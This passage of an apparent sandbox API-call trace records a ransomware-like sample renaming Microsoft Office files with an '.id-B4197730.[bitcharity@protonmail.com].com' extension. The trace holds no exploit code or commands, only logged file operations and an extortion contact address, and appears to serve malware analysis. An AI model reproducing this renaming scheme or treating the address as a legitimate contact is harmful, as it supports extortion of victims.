dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.735] CloseHandle (hObject=0x1284) returned 1 [0264.737] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.738] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR6B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir6b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.738] CloseHandle (hObject=0x1234) returned 1 [0264.740] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.740] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR6F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir6f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.740] CloseHandle (hObject=0x1234) returned 1 [0264.741] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.741] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR7B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir7b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.742] CloseHandle (hObject=0x1234) returned 1 [0264.745] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.745] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR7F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir7f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.745] CloseHandle (hObject=0x1268) returned 1 [0264.747] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.747] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR8B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir8b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.747] CloseHandle (hObject=0x1268) returned 1 [0264.748] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.748] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR8F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir8f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.748] CloseHandle (hObject=0x1268) returned 1 [0264.749] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.749] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR9B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir9b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.750] CloseHandle (hObject=0x1268) returned 1 [0264.750] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.750] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR9F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir9f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.751] CloseHandle (hObject=0x1268) returned 1 [0264.752] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.752] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPAPERS.INI.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpapers.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.752] CloseHandle (hObject=0x1268) returned 1 [0264.753] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.753] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR00.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir00.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.753] CloseHandle (hObject=0x1268) returned 1 [0264.913] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.913] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR10F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir10f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.913] CloseHandle (hObject=0x1278) returned 1 [0264.914] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.914] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR30F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir30f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.915] CloseHandle (hObject=0x1278) returned 1 [0264.916] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.916] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR31F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir31f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.916] CloseHandle (hObject=0x1278) returned 1 [0264.917] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.917] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR32F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir32f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.918] CloseHandle (hObject=0x1278) returned 1 [0264.919] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.919] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR33F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir33f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.919] CloseHandle (hObject=0x1278) returned 1 [0264.920] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.920] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR34F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir34f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.920] CloseHandle (hObject=0x1278) returned 1 [0264.922] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.922] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR35F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir35f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.922] CloseHandle (hObject=0x1278) returned 1 [0264.924] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.924] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR36F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir36f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.924] CloseHandle (hObject=0x1278) returned 1 [0264.926] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.926] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR37F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir37f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.926] CloseHandle (hObject=0x1278) returned 1 [0264.928] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.928] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR38F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir38f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.928] CloseHandle (hObject=0x1278) returned 1 [0264.929] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.929] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR39F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir39f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.929] CloseHandle (hObject=0x1278) returned 1 [0264.930] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.931] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR3B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir3b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.931] CloseHandle (hObject=0x1278) returned 1 [0264.933] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.933] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR3F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir3f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.933] CloseHandle (hObject=0x1278) returned 1 [0264.934] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.934] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR40F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir40f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.934] CloseHandle (hObject=0x1278) returned 1 [0264.935] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.935] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR41F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir41f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.936] CloseHandle (hObject=0x1278) returned 1 [0264.937] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.937] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR42F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir42f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.937] CloseHandle (hObject=0x1278) returned 1 [0264.938] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.938] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR43B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir43b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.939] CloseHandle (hObject=0x1278) returned 1 [0264.939] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.940] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR43F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir43f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.940] CloseHandle (hObject=0x1278) returned 1 [0264.941] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.941] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR44B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir44b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.941] CloseHandle (hObject=0x1278) returned 1 [0264.943] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.943] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR44F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir44f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.943] CloseHandle (hObject=0x1278) returned 1 [0264.945] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.945] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR45B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir45b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.945] CloseHandle (hObject=0x1278) returned 1 [0264.946] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.946] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.946] CreateFileW (lpFileName="C:\\Program 